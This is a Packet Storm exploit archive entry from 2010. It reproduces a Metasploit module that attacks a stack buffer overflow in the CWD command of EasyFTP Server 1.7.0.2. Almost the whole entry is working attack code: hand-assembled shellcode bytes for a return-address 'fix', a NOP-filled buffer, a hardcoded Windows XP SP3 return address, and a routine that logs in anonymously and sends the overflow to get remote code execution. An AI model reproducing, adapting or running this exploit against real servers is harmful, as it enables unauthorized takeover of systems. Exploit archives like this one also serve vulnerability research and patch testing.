EasyFTP Server <= 1.7.0.2 CWD Command Stack Buffer Overflow

2010-04-20T00:00:00
ID PACKETSTORM:88725
Type packetstorm
Reporter Paul Makowski
Modified 2010-04-20T00:00:00

Description

                                        
                                            `# Exploit Title: EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)  
# Date: April 19th, 2010  
# Author: Paul Makowski (my.hndl@gmail.com || http://paulmakowski.wordpress.com)  
# Software Link: http://easyftpsvr.googlecode.com/files/easyftpsvr-1.7.0.2.zip  
# Version: EasyFTP Server <= 1.7.0.2  
# Tested on: Windows XP SP3 English  
  
# ways this could be improved:  
# - write fixRet w/ metasm  
# - use JMP ESP/EBPs for more targets  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Ftp  
  
$slack_space = 30  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'EasyFTP Server <= 1.7.0.2 CWD Command Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.2.  
EasyFTP fails to check input size when parsing 'CWD' commands, which allows for  
easy stack based buffer overflow exploitation. EasyFTP allows anonymous access by  
default; valid credentials are typically unnecessary to exploit this vulnerability.  
  
Later versions may vulnerable, but have not been tested.  
  
This exploit utilizes a small piece of code that I've referred to as 'fixRet'.  
This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by  
'fixing' the return address post-exploitation. See references for more information.  
},  
'Author' => [ 'Paul Makowski <my.hndl [at] gmail.com>' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],  
[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],  
[ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ],  
[ 'URL', 'http://code.google.com/p/easyftpsvr/'],  
[ 'URL', 'https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip' ],  
[ 'URL', 'http://www.securityfocus.com/bid/38262/exploit']  
],  
'Privileged' => false,  
'Payload' =>  
{  
# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450  
'Space' => 505 - $slack_space - 25,  
'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# This could be generalized, e.g. with a JMP ESP/EBP and then a short JMP @ ESP/EBP back to the beginning of the buffer  
[ 'Windows XP SP3 English', { 'Ret' => 0x009AFD58 } ], # absolute addr, from Jon Butler's exploit  
],  
'DisclosureDate' => 'Feb 16 2010',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect   
  
if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
  
# If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.  
# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/  
fixRet = ( # length = 25 bytes  
"\x31\xc0" + # xor %eax,%eax  
"\x31\xdb" + # xor %ebx,%ebx  
"\x31\xc9" + # xor %ecx,%ecx  
"\xb8\xce\x54\x30\xaa" + # mov $0xaa3054ce,%eax  
"\xbb\xaa\xaa\xaa\xaa" + # mov $0xaaaaaaaa,%ebx  
"\x31\xd8" + # xor %ebx,%eax (now %eax should hold 0x009AFE64)  
"\xb9" + # mov _____, %ecx  
payload.encoded[payload.encoded.length - 233 - 4, 4] + # continuation of the above instruction; replace the 4 return address bytes with payload  
"\x89\x08" ) # mov %ecx,(%eax)  
  
print_status("Filling buffer with NOPs...")  
buf = make_nops(505)  
  
print_status("Prepending fixRet...")  
buf[0, fixRet.length] = fixRet  
  
print_status("Adding the payload...")  
buf[fixRet.length + $slack_space, payload.encoded.length] = payload.encoded # put payload in the buffer  
  
print_status("Overwriting part of the payload with target address...")  
buf[268, 4] = [ target.ret ].pack('V') # put return address @ 268 bytes  
  
print_status("Sending exploit buffer...")  
send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string  
  
handler  
disconnect  
end  
  
end  
`